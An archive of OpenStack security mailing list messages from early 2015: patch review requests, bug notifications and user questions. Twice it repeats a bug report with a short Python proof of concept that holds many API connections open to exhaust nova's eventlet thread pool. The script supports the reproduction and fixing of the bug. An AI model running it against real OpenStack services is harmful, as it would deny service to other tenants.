From gerrit2 at review.openstack.org Fri Jan 2 05:42:06 2015 From: gerrit2 at review.openstack.org (gerrit2 at review.openstack.org) Date: Fri, 02 Jan 2015 05:42:06 +0000 Subject: [Openstack-security] [openstack/neutron] SecurityImpact review request change I3a361d6590d1800b85791f23ac1cdfd79815341b Message-ID: Hi, I'd like you to take a look at this patch for potential SecurityImpact. https://review.openstack.org/144708 Log: commit a89ae1bd93dea2dd1902c1d49572329f6646abcc Author: abhishekkekane Date: Tue Oct 21 04:15:15 2014 -0700 Eventlet green threads not released back to pool Presently, the wsgi server allows persist connections. Hence even after the response is sent to the client, it doesn't close the client socket connection. Because of this problem, the green thread is not released back to the pool. In order to close the client socket connection explicitly after the response is sent and read successfully by the client, you simply have to set keepalive to False when you create a wsgi server. Added a parameter to take advantage of the new(ish) eventlet socket timeout behaviour. Allows closing idle client connections after a period of time, eg: $ time nc localhost 8776 real 1m0.063s Setting 'client_socket_timeout = 0' means do not timeout. DocImpact: Added wsgi_keep_alive option (default=True). Added client_socket_timeout option (default=900). SecurityImpact Closes-Bug: #1361360 Change-Id: I3a361d6590d1800b85791f23ac1cdfd79815341b (cherry picked from commit 8e7a0dbb12082f6159d98a4628fb8a6fcd05e95a) From 1361360 at bugs.launchpad.net Fri Jan 2 05:42:00 2015 From: 1361360 at bugs.launchpad.net (OpenStack Infra) Date: Fri, 02 Jan 2015 05:42:00 -0000 Subject: [Openstack-security] [Bug 1361360] Fix proposed to neutron (stable/juno) References: <20140825203231.13086.48412.malonedeb@wampee.canonical.com> Message-ID: <20150102054200.22105.77130.malone@gac.canonical.com> Fix proposed to branch: stable/juno Review: https://review.openstack.org/144708 -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1361360 Title: Eventlet green threads not released back to the pool leading to choking of new requests Status in Cinder: Fix Released Status in Cinder icehouse series: Fix Committed Status in Cinder juno series: Fix Released Status in OpenStack Image Registry and Delivery Service (Glance): In Progress Status in Glance icehouse series: New Status in Orchestration API (Heat): In Progress Status in OpenStack Identity (Keystone): In Progress Status in Keystone icehouse series: Confirmed Status in Keystone juno series: Fix Committed Status in OpenStack Neutron (virtual network service): Fix Committed Status in neutron icehouse series: New Status in OpenStack Compute (Nova): Fix Released Status in OpenStack Compute (nova) icehouse series: New Status in OpenStack Security Advisories: Won't Fix Status in OpenStack Data Processing (Sahara, ex. Savanna): New Bug description: Currently reproduced on Juno milestone 2. but this issue should be reproducible in all releases since its inception. It is possible to choke OpenStack API controller services using wsgi+eventlet library by simply not closing the client socket connection. Whenever a request is received by any OpenStack API service for example nova api service, eventlet library creates a green thread from the pool and starts processing the request. Even after the response is sent to the caller, the green thread is not returned back to the pool until the client socket connection is closed. This way, any malicious user can send many API requests to the API controller node and determine the wsgi pool size configured for the given service and then send those many requests to the service and after receiving the response, wait there infinitely doing nothing leading to disrupting services for other tenants. Even when service providers have enabled rate limiting feature, it is possible to choke the API services with a group (many tenants) attack. Following program illustrates choking of nova-api services (but this problem is omnipresent in all other OpenStack API Services using wsgi+eventlet) Note: I have explicitly set the wsi_default_pool_size default value to 10 in order to reproduce this problem in nova/wsgi.py. After you run the below program, you should try to invoke API ============================================================================================ import time import requests from multiprocessing import Process def request(number): #Port is important here path = 'http://127.0.0.1:8774/servers' try: response = requests.get(path) print "RESPONSE %s-%d" % (response.status_code, number) #during this sleep time, check if the client socket connection is released or not on the API controller node. time.sleep(1000) print “Thread %d complete" % number except requests.exceptions.RequestException as ex: print “Exception occurred %d-%s" % (number, str(ex)) if __name__ == '__main__': processes = [] for number in range(40): p = Process(target=request, args=(number,)) p.start() processes.append(p) for p in processes: p.join() ================================================================================================ Presently, the wsgi server allows persist connections if you configure keepalive to True which is default. In order to close the client socket connection explicitly after the response is sent and read successfully by the client, you simply have to set keepalive to False when you create a wsgi server. Additional information: By default eventlet passes “Connection: keepalive” if keepalive is set to True when a response is sent to the client. But it doesn’t have capability to set the timeout and max parameter. For example. Keep-Alive: timeout=10, max=5 Note: After we have disabled keepalive in all the OpenStack API service using wsgi library, then it might impact all existing applications built with the assumptions that OpenStack API services uses persistent connections. They might need to modify their applications if reconnection logic is not in place and also they might experience the performance has slowed down as it will need to reestablish the http connection for every request. To manage notifications about this bug go to: https://bugs.launchpad.net/cinder/+bug/1361360/+subscriptions From gerrit2 at review.openstack.org Fri Jan 2 06:35:56 2015 From: gerrit2 at review.openstack.org (gerrit2 at review.openstack.org) Date: Fri, 02 Jan 2015 06:35:56 +0000 Subject: [Openstack-security] [openstack/neutron] SecurityImpact review request change I3a361d6590d1800b85791f23ac1cdfd79815341b Message-ID: Hi, I'd like you to take a look at this patch for potential SecurityImpact. https://review.openstack.org/144714 Log: commit 0fd940222a1a2a46e805e2355a2d20a900a7fd07 Author: abhishekkekane Date: Tue Oct 21 04:15:15 2014 -0700 Eventlet green threads not released back to pool Presently, the wsgi server allows persist connections. Hence even after the response is sent to the client, it doesn't close the client socket connection. Because of this problem, the green thread is not released back to the pool. In order to close the client socket connection explicitly after the response is sent and read successfully by the client, you simply have to set keepalive to False when you create a wsgi server. Added a parameter to take advantage of the new(ish) eventlet socket timeout behaviour. Allows closing idle client connections after a period of time, eg: $ time nc localhost 8776 real 1m0.063s Setting 'client_socket_timeout = 0' means do not timeout. DocImpact: Added wsgi_keep_alive option (default=True). Added client_socket_timeout option (default=900). SecurityImpact Closes-Bug: #1361360 Change-Id: I3a361d6590d1800b85791f23ac1cdfd79815341b (cherry picked from commit 8e7a0dbb12082f6159d98a4628fb8a6fcd05e95a) From 1361360 at bugs.launchpad.net Fri Jan 2 06:35:52 2015 From: 1361360 at bugs.launchpad.net (OpenStack Infra) Date: Fri, 02 Jan 2015 06:35:52 -0000 Subject: [Openstack-security] [Bug 1361360] Re: Eventlet green threads not released back to the pool leading to choking of new requests References: <20140825203231.13086.48412.malonedeb@wampee.canonical.com> Message-ID: <20150102063552.22315.69993.malone@gac.canonical.com> Fix proposed to branch: stable/icehouse Review: https://review.openstack.org/144714 ** Changed in: glance/icehouse Status: New => In Progress -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1361360 Title: Eventlet green threads not released back to the pool leading to choking of new requests Status in Cinder: Fix Released Status in Cinder icehouse series: Fix Committed Status in Cinder juno series: Fix Released Status in OpenStack Image Registry and Delivery Service (Glance): In Progress Status in Glance icehouse series: In Progress Status in Orchestration API (Heat): In Progress Status in OpenStack Identity (Keystone): In Progress Status in Keystone icehouse series: Confirmed Status in Keystone juno series: Fix Committed Status in OpenStack Neutron (virtual network service): Fix Committed Status in neutron icehouse series: New Status in OpenStack Compute (Nova): Fix Released Status in OpenStack Compute (nova) icehouse series: New Status in OpenStack Security Advisories: Won't Fix Status in OpenStack Data Processing (Sahara, ex. Savanna): New Bug description: Currently reproduced on Juno milestone 2. but this issue should be reproducible in all releases since its inception. It is possible to choke OpenStack API controller services using wsgi+eventlet library by simply not closing the client socket connection. Whenever a request is received by any OpenStack API service for example nova api service, eventlet library creates a green thread from the pool and starts processing the request. Even after the response is sent to the caller, the green thread is not returned back to the pool until the client socket connection is closed. This way, any malicious user can send many API requests to the API controller node and determine the wsgi pool size configured for the given service and then send those many requests to the service and after receiving the response, wait there infinitely doing nothing leading to disrupting services for other tenants. Even when service providers have enabled rate limiting feature, it is possible to choke the API services with a group (many tenants) attack. Following program illustrates choking of nova-api services (but this problem is omnipresent in all other OpenStack API Services using wsgi+eventlet) Note: I have explicitly set the wsi_default_pool_size default value to 10 in order to reproduce this problem in nova/wsgi.py. After you run the below program, you should try to invoke API ============================================================================================ import time import requests from multiprocessing import Process def request(number): #Port is important here path = 'http://127.0.0.1:8774/servers' try: response = requests.get(path) print "RESPONSE %s-%d" % (response.status_code, number) #during this sleep time, check if the client socket connection is released or not on the API controller node. time.sleep(1000) print “Thread %d complete" % number except requests.exceptions.RequestException as ex: print “Exception occurred %d-%s" % (number, str(ex)) if __name__ == '__main__': processes = [] for number in range(40): p = Process(target=request, args=(number,)) p.start() processes.append(p) for p in processes: p.join() ================================================================================================ Presently, the wsgi server allows persist connections if you configure keepalive to True which is default. In order to close the client socket connection explicitly after the response is sent and read successfully by the client, you simply have to set keepalive to False when you create a wsgi server. Additional information: By default eventlet passes “Connection: keepalive” if keepalive is set to True when a response is sent to the client. But it doesn’t have capability to set the timeout and max parameter. For example. Keep-Alive: timeout=10, max=5 Note: After we have disabled keepalive in all the OpenStack API service using wsgi library, then it might impact all existing applications built with the assumptions that OpenStack API services uses persistent connections. They might need to modify their applications if reconnection logic is not in place and also they might experience the performance has slowed down as it will need to reestablish the http connection for every request. To manage notifications about this bug go to: https://bugs.launchpad.net/cinder/+bug/1361360/+subscriptions From gerrit2 at review.openstack.org Fri Jan 2 08:06:05 2015 From: gerrit2 at review.openstack.org (gerrit2 at review.openstack.org) Date: Fri, 02 Jan 2015 08:06:05 +0000 Subject: [Openstack-security] [openstack/keystone] SecurityImpact review request change I03b9c5c64f4bd8bca78dfc83199ef17d9a7ea5b7 Message-ID: Hi, I'd like you to take a look at this patch for potential SecurityImpact. https://review.openstack.org/130824 Log: commit b1d0a1e18636af028a1f6e3f1864a41ec3759265 Author: abhishekkekane Date: Tue Oct 21 04:10:57 2014 -0700 Eventlet green threads not released back to pool Presently, the wsgi server allows persist connections hence even after the response is sent to the client, it doesn't close the client socket connection. Because of this problem, the green thread is not released back to the pool. In order to close the client socket connection explicitly after the response is sent and read successfully by the client, you simply have to set keepalive to False when you create a wsgi server. Add a parameter to take advantage of the new(ish) eventlet socket timeout behaviour. Allows closing idle client connections after a period of time, eg: $ time nc localhost 8776 real 1m0.063s Setting 'client_socket_timeout = 0' means do not timeout. DocImpact: Added wsgi_keep_alive option (default=None). Added client_socket_timeout option (default=None). SecurityImpact Closes-Bug: #1361360 Change-Id: I03b9c5c64f4bd8bca78dfc83199ef17d9a7ea5b7 From gerrit2 at review.openstack.org Fri Jan 2 08:46:44 2015 From: gerrit2 at review.openstack.org (gerrit2 at review.openstack.org) Date: Fri, 02 Jan 2015 08:46:44 +0000 Subject: [Openstack-security] [openstack/neutron] SecurityImpact review request change I3a361d6590d1800b85791f23ac1cdfd79815341b Message-ID: Hi, I'd like you to take a look at this patch for potential SecurityImpact. https://review.openstack.org/144714 Log: commit c64466e392766145dfd360f1cc1821f034f03f29 Author: abhishekkekane Date: Tue Oct 21 04:15:15 2014 -0700 Eventlet green threads not released back to pool Presently, the wsgi server allows persist connections. Hence even after the response is sent to the client, it doesn't close the client socket connection. Because of this problem, the green thread is not released back to the pool. In order to close the client socket connection explicitly after the response is sent and read successfully by the client, you simply have to set keepalive to False when you create a wsgi server. Added a parameter to take advantage of the new(ish) eventlet socket timeout behaviour. Allows closing idle client connections after a period of time, eg: $ time nc localhost 8776 real 1m0.063s Setting 'client_socket_timeout = 0' means do not timeout. DocImpact: Added wsgi_keep_alive option (default=True). Added client_socket_timeout option (default=900). SecurityImpact Closes-Bug: #1361360 Change-Id: I3a361d6590d1800b85791f23ac1cdfd79815341b (cherry picked from commit 8e7a0dbb12082f6159d98a4628fb8a6fcd05e95a) From john.haller at alcatel-lucent.com Sat Jan 3 23:07:49 2015 From: john.haller at alcatel-lucent.com (John Haller) Date: Sat, 03 Jan 2015 23:07:49 -0000 Subject: [Openstack-security] [Bug 1158328] Re: passwords in config files stored in plaintext References: <20130321141459.14228.40307.malonedeb@soybean.canonical.com> Message-ID: <20150103230749.22274.3768.malone@gac.canonical.com> The only way to solve problems like this is through a dedicated unit to store a secret like a TPM on each server, and even that won't help if someone can log in to the server as a privileged user and use the dedicated unit to generate an access key. Using Barbican isn't the total solution, as to allow the machine to retrieve a secret from Barbican requires that the machine have a secret it can use to access Barbican. GSSAPI doesn't help, as it requires a token, not significantly different than a password, to be available or embedded in the program to start the exchange. However, it's probably best to delegate the problem to Barbican and store the Cinder secrets there. This would leave it up to Barbican to support hardware plugins to securely store secrets, as well as leaving it as an exercise for the reader to properly protect access to the hardware device. Otherwise, every service on each server is going to have to implement its own mechanism, and they will all be different. -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1158328 Title: passwords in config files stored in plaintext Status in Cinder: Confirmed Status in OpenStack Compute (Nova): Won't Fix Bug description: The credentials for database conenctions and the keystone authtoken are stored in plaintext within the nova.conf and apipaste config files. These values should be encrypted. A scheme similar to /etc/shadow would be great. To manage notifications about this bug go to: https://bugs.launchpad.net/cinder/+bug/1158328/+subscriptions From kragniz at gmail.com Mon Jan 5 17:09:10 2015 From: kragniz at gmail.com (Louis Taylor) Date: Mon, 05 Jan 2015 17:09:10 -0000 Subject: [Openstack-security] [Bug 1375857] Re: It's not possibile to pass the cacert to the swift store References: <20140930152151.17678.6371.malonedeb@chaenomeles.canonical.com> Message-ID: <20150105170912.30770.61816.launchpad@chaenomeles.canonical.com> ** Project changed: glance => glance-store -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1375857 Title: It's not possibile to pass the cacert to the swift store Status in OpenStack Glance backend store-drivers library (glance_store): In Progress Bug description: The swift store device defined in the glance store doesn't allow to pass the ca cert file. When the driver creates a connection via the swift client it is not possible to pass that value. That means that if we have swift running on TLS in some cases we have to set the insecure option equals to True as the client can't correctly complete the handshake as it fails on the verification of the cert. The fix I'd like to propose is to add a new parameter to define the ca cert file and pass this value when we create the connection via the swift client. To manage notifications about this bug go to: https://bugs.launchpad.net/glance-store/+bug/1375857/+subscriptions From gerrit2 at review.openstack.org Mon Jan 5 17:39:26 2015 From: gerrit2 at review.openstack.org (gerrit2 at review.openstack.org) Date: Mon, 05 Jan 2015 17:39:26 +0000 Subject: [Openstack-security] [openstack/nova] SecurityImpact review request change I64859ad01120782fb17308aac3abb125597c3ea2 Message-ID: Hi, I'd like you to take a look at this patch for potential SecurityImpact. https://review.openstack.org/115484 Log: commit 1b4c9f3ecbee16a877329380dbacd711394763e3 Author: Solly Ross Date: Tue Aug 19 19:21:52 2014 -0400 Add VeNCrypt (TLS/x509) Security Proxy Driver This adds support for using x509/TLS security between the compute node and websocket proxy when using websockify to proxy VNC traffic. In order to use this with x509, an operator would have to set up client keys and certificates, as well as CA certificates, and configure libvirt to pass the appropriate options to QEmu (this is configured globally for libvirt, not by Nova). This is process is documented on the libvirt website. Then, the operator would enable this driver and set the following options in /etc/nova/nova.conf: [console_proxy_tls] client_key = /path/to/client/keyfile client_cert = /path/to/client/cert.pem ca_certs = /path/to/ca/cert.pem SecurityImpact DocImpact Implements bp: websocket-proxy-to-host-security Change-Id: I64859ad01120782fb17308aac3abb125597c3ea2 From gerrit2 at review.openstack.org Mon Jan 5 21:04:05 2015 From: gerrit2 at review.openstack.org (gerrit2 at review.openstack.org) Date: Mon, 05 Jan 2015 21:04:05 +0000 Subject: [Openstack-security] [openstack/python-keystoneclient] SecurityImpact review request change Ie19d093d0494443ce4cd880ae1f92dffd5c361ef Message-ID: Hi, I'd like you to take a look at this patch for potential SecurityImpact. https://review.openstack.org/117372 Log: commit b317e312aadbdbbe8937172bc5d4a7dd2a8d68d9 Author: Brant Knudson Date: Wed Aug 27 17:53:41 2014 -0500 token signing support alternative message digest The functions for creating signed tokens in common.cms always used sha256 for the message digest. This might be inadequate in the future so the digest algorithm shouldn't be hard-coded. A parameter is added to allow choosing a different digest algorithm. SecurityImpact Change-Id: Ie19d093d0494443ce4cd880ae1f92dffd5c361ef Related-Bug: #1362343 From 1187107 at bugs.launchpad.net Mon Jan 5 21:27:56 2015 From: 1187107 at bugs.launchpad.net (OpenStack Infra) Date: Mon, 05 Jan 2015 21:27:56 -0000 Subject: [Openstack-security] [Bug 1187107] Fix merged to neutron (master) References: <20130603194234.27198.32504.malonedeb@gac.canonical.com> Message-ID: <20150105212757.21695.79287.malone@gac.canonical.com> Reviewed: https://review.openstack.org/136840 Committed: https://git.openstack.org/cgit/openstack/neutron/commit/?id=b78c5e54abd10fc71a46788110f9f36e6496414e Submitter: Jenkins Branch: master commit b78c5e54abd10fc71a46788110f9f36e6496414e Author: Cedric Brandily Date: Mon Nov 24 15:53:04 2014 +0000 Do not run neutron-ns-metadata-proxy as root on L3 agent Currently neutron-ns-metadata-proxy runs with root permissions when namespaces are enabled on the l3 agent because root permissions are required to "enter" in the namespace. But neutron-ns-metadata-proxy permissions should be reduced as much as possible because it is reachable from vms. This change allows to change neutron-ns-metadata-proxy permissions after its startup through the 2 new options metadata_proxy_user and metadata_proxy_group which allow to define user/group running metadata proxy after its initialization. Their default values are neutron-l3-agent effective user and group. Permissions drop is done after metadata proxy daemon writes its pid in its pidfile (it could be disallowed after permissions drop). Using nobody as metadata_proxy_user/group (more secure) is currently not supported because: * nobody has not the permission to connect the metadata socket, * nobody has not the permission to log to file because neutron uses WatchedFileHandler (which requires read/write permissions after permissions drop). This limitation will be addressed in a daughter change. DocImpact Partial-Bug: #1187107 Change-Id: I55c8c3fb14ed91ae8570f98f19c2cdbaf89d42fc -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1187107 Title: quantum-ns-metadata-proxy runs as root Status in OpenStack Neutron (virtual network service): In Progress Bug description: # ps -ef | grep quantum-ns-metadata-proxy root 10239 1 0 19:01 ? 00:00:00 python /usr/bin/quantum-ns-metadata-proxy --pid_file=/var/lib/quantum/external/pids/7a44de32-3ac0-4f3e-92cc-1a37d8211db8.pid --router_id=7a44de32-3ac0-4f3e-92cc-1a37d8211db8 --state_path=/var/lib/quantum --debug --log-file=quantum-ns-metadata-proxy7a44de32-3ac0-4f3e-92cc-1a37d8211db8.log --log-dir=/var/log/quantum Root is needed to open the namespace, but the quantum-ns-metadata-proxy does not need root - it listens on 9697 by default not 80. I tried changing /etc/quantum/rootwrap.d/l3.filters for it to run as quantum instead: metadata_proxy: CommandFilter, /usr/bin/quantum-ns-metadata-proxy, quantum but it still runs as root. To manage notifications about this bug go to: https://bugs.launchpad.net/neutron/+bug/1187107/+subscriptions From 1375857 at bugs.launchpad.net Mon Jan 5 23:55:40 2015 From: 1375857 at bugs.launchpad.net (OpenStack Infra) Date: Mon, 05 Jan 2015 23:55:40 -0000 Subject: [Openstack-security] [Bug 1375857] Related fix proposed to glance (master) References: <20140930152151.17678.6371.malonedeb@chaenomeles.canonical.com> Message-ID: <20150105235540.16477.30292.malone@soybean.canonical.com> Related fix proposed to branch: master Review: https://review.openstack.org/145095 -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1375857 Title: It's not possibile to pass the cacert to the swift store Status in OpenStack Image Registry and Delivery Service (Glance): In Progress Status in OpenStack Glance backend store-drivers library (glance_store): In Progress Bug description: The swift store device defined in the glance store doesn't allow to pass the ca cert file. When the driver creates a connection via the swift client it is not possible to pass that value. That means that if we have swift running on TLS in some cases we have to set the insecure option equals to True as the client can't correctly complete the handshake as it fails on the verification of the cert. The fix I'd like to propose is to add a new parameter to define the ca cert file and pass this value when we create the connection via the swift client. To manage notifications about this bug go to: https://bugs.launchpad.net/glance/+bug/1375857/+subscriptions From gerrit2 at review.openstack.org Tue Jan 6 06:33:14 2015 From: gerrit2 at review.openstack.org (gerrit2 at review.openstack.org) Date: Tue, 06 Jan 2015 06:33:14 +0000 Subject: [Openstack-security] [openstack/keystone] SecurityImpact review request change I03b9c5c64f4bd8bca78dfc83199ef17d9a7ea5b7 Message-ID: Hi, I'd like you to take a look at this patch for potential SecurityImpact. https://review.openstack.org/130824 Log: commit 11d0d8f520688e00f32d3975ef26794b1cb9ccfd Author: abhishekkekane Date: Tue Oct 21 04:10:57 2014 -0700 Eventlet green threads not released back to pool Presently, the wsgi server allows persist connections hence even after the response is sent to the client, it doesn't close the client socket connection. Because of this problem, the green thread is not released back to the pool. In order to close the client socket connection explicitly after the response is sent and read successfully by the client, you simply have to set keepalive to False when you create a wsgi server. Add a parameter to take advantage of the new(ish) eventlet socket timeout behaviour. Allows closing idle client connections after a period of time, eg: $ time nc localhost 8776 real 1m0.063s Setting 'client_socket_timeout = 0' means do not timeout. DocImpact: Added wsgi_keep_alive option (default=None). Added client_socket_timeout option (default=None). SecurityImpact Closes-Bug: #1361360 Change-Id: I03b9c5c64f4bd8bca78dfc83199ef17d9a7ea5b7 From Tim.Bell at cern.ch Tue Jan 6 18:39:39 2015 From: Tim.Bell at cern.ch (Tim Bell) Date: Tue, 6 Jan 2015 18:39:39 +0000 Subject: [Openstack-security] Host and Network Intrusion detection Message-ID: <5D7F9996EA547448BC6C54C8C5AAF4E501026310F1@CERNXCHG41.cern.ch> I asked on the operators list but someone suggested I ask here. Does anyone have experience of open source host and network intrusion detection with OpenStack ? The security guide has mention of a few systems but it is not clear on the operational and performance impact of the different choices. The aim would be to identify anomalous traffic out of the permitted computing policies over 1000s of hypervisors. Tim -------------- next part -------------- An HTML attachment was scrubbed... URL: From bhatt246 at yahoo.com Tue Jan 6 23:27:02 2015 From: bhatt246 at yahoo.com (Ratnadeep Bhattacharjee) Date: Tue, 6 Jan 2015 23:27:02 +0000 (UTC) Subject: [Openstack-security] Fw: Cannot assign admin role to domain user In-Reply-To: <89907852.3313695.1420586750887.JavaMail.yahoo@jws100109.mail.ne1.yahoo.com> References: <89907852.3313695.1420586750887.JavaMail.yahoo@jws100109.mail.ne1.yahoo.com> Message-ID: <1834834939.3292573.1420586822632.JavaMail.yahoo@jws10062.mail.ne1.yahoo.com> Hi,  I am trying to make a HTTP PUT request to assign admin role to a given user in a given domain:  http://host:port/keystone/v3/domains/16faa0dcebc94ca0ad83807d5c628754/users/bd0bf9040f0a47ce9cd09610f4c7dc17/roles/52580a3e2e164aca9e46b8c013bc7e18 as per the documentation in http://developer.openstack.org/api-ref-identity-v3.html but I get a HTTP 403 error. I am quite sure the domain, user and role IDs are valid. Any idea what I might be doing wrong? Do I have to set any special flags in keystone for this to succeed? Regards,-Deep. -------------- next part -------------- An HTML attachment was scrubbed... URL: From ayoung at redhat.com Wed Jan 7 01:39:08 2015 From: ayoung at redhat.com (Adam Young) Date: Tue, 06 Jan 2015 20:39:08 -0500 Subject: [Openstack-security] Fw: Cannot assign admin role to domain user In-Reply-To: <1834834939.3292573.1420586822632.JavaMail.yahoo@jws10062.mail.ne1.yahoo.com> References: <89907852.3313695.1420586750887.JavaMail.yahoo@jws100109.mail.ne1.yahoo.com> <1834834939.3292573.1420586822632.JavaMail.yahoo@jws10062.mail.ne1.yahoo.com> Message-ID: <54AC8E3C.7030005@redhat.com> On 01/06/2015 06:27 PM, Ratnadeep Bhattacharjee wrote: > Hi, > > > > I am trying to make a HTTP PUT request to assign admin role to a given > user in a given domain: > > http://host:port/keystone/v3/domains/16faa0dcebc94ca0ad83807d5c628754/users/bd0bf9040f0a47ce9cd09610f4c7dc17/roles/52580a3e2e164aca9e46b8c013bc7e18 > as > per the documentation in > http://developer.openstack.org/api-ref-identity-v3.html but *I get a > HTTP 403 error*. I am quite sure the domain, user and role IDs are > valid. Any idea what I might be doing wrong? Do I have to set any > special flags in keystone for this to succeed? No special flags, but the user making the call needs permissions to do it. If you are using an admin token to make the call, then one of your other assumptions is false. > > Regards, > -Deep. > > > > > > _______________________________________________ > Openstack-security mailing list > Openstack-security at lists.openstack.org > http://lists.openstack.org/cgi-bin/mailman/listinfo/openstack-security -------------- next part -------------- An HTML attachment was scrubbed... URL: From gerrit2 at review.openstack.org Wed Jan 7 07:07:20 2015 From: gerrit2 at review.openstack.org (gerrit2 at review.openstack.org) Date: Wed, 07 Jan 2015 07:07:20 +0000 Subject: [Openstack-security] [openstack/keystone] SecurityImpact review request change I03b9c5c64f4bd8bca78dfc83199ef17d9a7ea5b7 Message-ID: Hi, I'd like you to take a look at this patch for potential SecurityImpact. https://review.openstack.org/130824 Log: commit 6ca86e0a8ee97d2a4c5d8d58199221148f7003a2 Author: abhishekkekane Date: Tue Oct 21 04:10:57 2014 -0700 Eventlet green threads not released back to pool Presently, the wsgi server allows persist connections hence even after the response is sent to the client, it doesn't close the client socket connection. Because of this problem, the green thread is not released back to the pool. In order to close the client socket connection explicitly after the response is sent and read successfully by the client, you simply have to set keepalive to False when you create a wsgi server. Add a parameter to take advantage of the new(ish) eventlet socket timeout behaviour. Allows closing idle client connections after a period of time, eg: $ time nc localhost 8776 real 1m0.063s Setting 'client_socket_timeout = 0' means do not timeout. DocImpact: Added wsgi_keep_alive option (default=True). Added client_socket_timeout option (default=900). SecurityImpact Closes-Bug: #1361360 Change-Id: I03b9c5c64f4bd8bca78dfc83199ef17d9a7ea5b7 From gerrit2 at review.openstack.org Wed Jan 7 07:08:42 2015 From: gerrit2 at review.openstack.org (gerrit2 at review.openstack.org) Date: Wed, 07 Jan 2015 07:08:42 +0000 Subject: [Openstack-security] [openstack/keystone] SecurityImpact review request change I03b9c5c64f4bd8bca78dfc83199ef17d9a7ea5b7 Message-ID: Hi, I'd like you to take a look at this patch for potential SecurityImpact. https://review.openstack.org/130824 Log: commit 685fee36edd9eb29f91465b6f23f61f02fb90c8d Author: abhishekkekane Date: Tue Oct 21 04:10:57 2014 -0700 Eventlet green threads not released back to pool Presently, the wsgi server allows persist connections hence even after the response is sent to the client, it doesn't close the client socket connection. Because of this problem, the green thread is not released back to the pool. In order to close the client socket connection explicitly after the response is sent and read successfully by the client, you simply have to set keepalive to False when you create a wsgi server. Add a parameter to take advantage of the new(ish) eventlet socket timeout behaviour. Allows closing idle client connections after a period of time, eg: $ time nc localhost 8776 real 1m0.063s Setting 'client_socket_timeout = 0' means do not timeout. DocImpact: Added wsgi_keep_alive option (default=True). Added client_socket_timeout option (default=900). SecurityImpact Closes-Bug: #1361360 Change-Id: I03b9c5c64f4bd8bca78dfc83199ef17d9a7ea5b7 From gerrit2 at review.openstack.org Wed Jan 7 13:47:40 2015 From: gerrit2 at review.openstack.org (gerrit2 at review.openstack.org) Date: Wed, 07 Jan 2015 13:47:40 +0000 Subject: [Openstack-security] [openstack/keystone] SecurityImpact review request change I9e42c9bafc307ba1334fa641bab76f251722044d Message-ID: Hi, I'd like you to take a look at this patch for potential SecurityImpact. https://review.openstack.org/117367 Log: commit c46ef753ea5255aa409c154b8abfc735323ce8a7 Author: Brant Knudson Date: Wed Aug 27 17:11:06 2014 -0500 Change the default digest for pki/ssl_setup to sha256 The default digest was `default`, which meant that the digest was the openssl default which may be sha1 or sha256 or better. Keystone will now set the default digest to sha256, which conforms to most security policies. This is for security hardening. SecurityImpact DocImpact The `default_message_digest` configuration options now default to `sha256` instead of `default`. Change-Id: I9e42c9bafc307ba1334fa641bab76f251722044d Related-Bug: #1362343 From gerrit2 at review.openstack.org Wed Jan 7 13:53:11 2015 From: gerrit2 at review.openstack.org (gerrit2 at review.openstack.org) Date: Wed, 07 Jan 2015 13:53:11 +0000 Subject: [Openstack-security] [openstack/nova] SecurityImpact review request change Ib85d2a93bc4fcfdcec5a85310afa7b4f947b58c8 Message-ID: Hi, I'd like you to take a look at this patch for potential SecurityImpact. https://review.openstack-ci.berlin.x-ion.de/22 Log: commit 4f41d37499d5e34f3a220ab1276280caa3fdb9bf Author: Alessandro Pilotti Date: Mon Mar 24 03:11:04 2014 +0200 Fixes a Hyper-V list_instances localization issue The Hyper-V WMI MSVM_ComputerSystem class Caption property can have different values on various locales. This patch uses a different query to avoid any localization issue. Co-Authored-By: Robert Tingirica Closes-Bug: #1296478 (cherry picked from commit a5405fa3532d9dd3d33e848f36cc6530e74e6bb7) Change-Id: I15103b8edb3ff8934c835826ed00e08593cdeacc commit 9015410ec95fe7dc23fb3cb2be432915a9733cbd Author: Alessandro Pilotti Date: Wed Mar 12 16:53:32 2014 +0200 Adds list_instance_uuids to the Hyper-V driver In case of large number of servers, the _destroy_evacuated_instances fails randomly. Implementing list_instance_uuids solves the issue. Co-Authored-By: Robert Tingirica Co-Authored-By: Ionut Balutoiu Closes-bug: #1291364 (cherry picked from commit 73da55e4ef626283ae58a97c7ad89854ec77daa3) Conflicts: nova/tests/virt/hyperv/test_vmops.py nova/tests/virt/hyperv/test_vmutils.py nova/tests/virt/hyperv/test_vmutilsv2.py nova/virt/hyperv/vmutils.py Change-Id: I9c58168c012b342bb5dfa0c62a7c39a327f442b3 commit 3371ad81ba7f2e8b1a9391dae3f0844d3dba916f Author: Mike Bayer Date: Mon Sep 22 16:53:55 2014 -0400 Add _wrap_db_error() support to Session.commit() This patch adds _wrap_db_error() to session.commit(), which has been observed to be a common point of failure for deadlock exceptions. In order to achieve this, the _wrap_db_error() decorator itself also needed to propagate an existing DBError, as it is the case that SQLAlchemy's session.commit() calls into the session.flush() method. Tests are added to exercise both the nesting of _wrap_db_error() when a flush() inside commit() raises an exception, as well as when commit() alone raises an exception that the error is wrapped as expected. Tests are omitted here as we are relying upon the tests that were added to the corresponding oslo-incubator code. Closes-bug: #1370191 Change-Id: I91510a2b864f0c1b73cfae18f271e94334714dce commit f58d95c964cb9a42f573596d1cc80d2034ddb23e Author: Tristan Cacqueray Date: Sat Sep 13 18:54:33 2014 +0000 Sync process and str utils from oslo This patch backports the necessary changes to fix both issues: * Make execute method clean password in exception * Make sure mask_password works properly ------------------------------------------------ The sync pulls in the following changes (newest to oldest): 63c99a0f - Mask passwords in exceptions and error messages 66142c34 - Make strutils.mask_password more secure d6b55fb2 - Remove `processutils` dependency on `log` cb5a804b - Move `mask_password` to strutils ----------------------------------------------- Backport in oslo-incubator: https://review.openstack.org/121365 Closes-Bug: 1343604 Closes-Bug: 1345233 SecurityImpact Change-Id: I3b49b1d667f6ade9ae3f6765d735440a3e838917 commit 7e091733040e9e7dc29dd1ecfce52ee27d6efd99 Author: Dorin Paslaru Date: Fri Jul 18 15:43:16 2014 +0300 